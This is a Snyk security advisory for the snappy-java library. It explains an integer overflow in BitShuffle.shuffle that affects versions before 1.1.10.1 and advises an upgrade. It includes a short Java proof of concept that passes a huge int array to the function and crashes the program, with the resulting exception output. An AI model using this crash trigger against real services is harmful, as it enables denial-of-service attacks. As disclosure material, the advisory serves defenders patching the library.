Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applicationsUpgrade org.xerial.snappy:snappy-java
to version 1.1.10.1 or higher.
Affected versions of this package are vulnerable to Integer Overflow or Wraparound via the shuffle(int[] input)
function due to improper validation of the multiplications done on the input length.
Exploiting this vulnerability is possible by passing negative, zero, float, very small, or very long values to the shuffle
functions, which later on are multiplicated by four.
A successful exploration results in “java.lang.ArrayIndexOutOfBoundsException" or “java.lang.NegativeArraySizeException” exceptions which can crash the program.
package org.example;
import org.xerial.snappy.BitShuffle;
import java.io.*;
public class Main {
public static void main(String[] args) throws IOException {
int[] original = new int[0x40000000];
byte[] shuffled = BitShuffle.shuffle(original);
System.out.println(shuffled[0]);
}
}
The program will crash, showing the following error (or similar):
Exception in thread "main" java.lang.ArrayIndexOutOfBoundsException: Index 0 out of bounds for length 0 at org.example.Main.main(Main.java:12)
Process finished with exit code 1